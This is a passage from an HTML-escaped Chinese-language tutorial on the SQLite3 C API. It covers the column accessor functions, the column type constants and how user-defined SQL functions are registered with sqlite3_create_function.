class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_column_blob\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_column_bytes\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_column_bytes16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_column_count\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_column_decltype\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt *, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_column_decltype16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt *, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_column_double\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_column_int64\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_column_name\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_column_name16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_column_text\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_column_text16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_column_type\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003esqlite3_column_count()函数返回结果集中包含的列数. sqlite3_column_count() 可以在执行了 sqlite3_prepare()之后的任何时刻调用. sqlite3_data_count()除了必需要在sqlite3_step()之后调用之外,其他跟sqlite3_column_count() 大同小异. 如果调用sqlite3_step() 返回值是 SQLITE_DONE 或者一个错误代码, 则此时调用sqlite3_data_count() 将返回 0 ,然而sqlite3_column_count() 仍然会返回结果集中包含的列数.\u003c/p\u003e\u003cp\u003e返回的记录集通过使用其它的几个 sqlite3_column_***() 函数来提取, 所有的这些函数都把列的编号作为第二个参数. 列编号从左到右以零起始. 请注意它和之前那些从1起始的参数的不同.\u003c/p\u003e\u003cp\u003esqlite3_column_type()函数返回第N列的值的数据类型. 具体的返回值如下:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_INTEGER  1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_FLOAT    2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_TEXT     3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_BLOB     4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_NULL     5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003esqlite3_column_decltype() 则用来返回该列在 CREATE TABLE 语句中声明的类型. 它可以用在当返回类型是空字符串的时候. sqlite3_column_name() 返回第N列的字段名. sqlite3_column_bytes() 用来返回 UTF-8 编码的BLOBs列的字节数或者TEXT字符串的字节数. sqlite3_column_bytes16() 对于BLOBs列返回同样的结果,但是对于TEXT字符串则按 UTF-16 的编码来计算字节数. sqlite3_column_blob() 返回 BLOB 数据. sqlite3_column_text() 返回 UTF-8 编码的 TEXT 数据. sqlite3_column_text16() 返回 UTF-16 编码的 TEXT 数据. sqlite3_column_int() 以本地主机的整数格式返回一个整数值. sqlite3_column_int64() 返回一个64位的整数. 最后, sqlite3_column_double() 返回浮点数.\u003c/p\u003e\u003cp\u003e不一定非要按照sqlite3_column_type()接口返回的数据类型来获取数据. 数据类型不同时软件将自动转换.\u003c/p\u003e\u003cp\u003e(3)用户自定义函数\u003c/p\u003e\u003cp\u003e可以使用以下的方法来创建用户自定义的SQL函数:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003esqlite3_value\u003c/span\u003e \u003cspan class=\"title\"\u003esqlite3_value\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_create_function\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     sqlite3 *,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *zFunctionName,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003eint\u003c/span\u003e nArg,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003eint\u003c/span\u003e eTextRep,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*xFunc)(sqlite3_context*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,sqlite3_value**),\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*xStep)(sqlite3_context*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,sqlite3_value**),\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*xFinal)(sqlite3_context*)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e   )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_create_function16\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     sqlite3*,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *zFunctionName,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003eint\u003c/span\u003e nArg,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003eint\u003c/span\u003e eTextRep,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*xFunc)(sqlite3_context*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,sqlite3_value**),\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*xStep)(sqlite3_context*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,sqlite3_value**),\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*xFinal)(sqlite3_context*)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e   )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_UTF8     1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_UTF16    2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_UTF16BE  3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_UTF16LE  4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_ANY      5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003enArg 参数用来表明自定义函数的参数个数. 如果参数值为0,则表示接受任意个数的参数. 用 eTextRep 参数来表明传入参数的编码形式. 参数值可以是上面的五种预定义值. SQLite3 允许同一个自定义函数有多种不同的编码参数的版本. 数据库引擎会自动选择转换参数编码个数最少的版本使用.\u003c/p\u003e\u003cp\u003e普通的函数只需要设置 xFunc 参数,而把 xStep 和 xFinal 设为NULL. 聚合函数则需要设置 xStep 和 xFinal 参数,然后把 xFunc 设为NULL. 该方法和使用sqlite3_create_aggregate() API一样.\u003c/p\u003e\u003cp\u003esqlite3_create_function16()和sqlite_create_function()的不同就在于自定义的函数名一个要求是 UTF-16 编码,而另一个则要求是 UTF-8.\u003c/p\u003e\u003cp\u003e请注意自定函数的参数目前使用了sqlite3_value结构体指针替代了SQLite version 2.X中的字符串指针. 下面的函数用来从sqlite3_value结构体中提取数据:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_value_blob\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_value_bytes\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_value_bytes16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_value_double\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_value_int\u003c/span\u003e\u003cspan 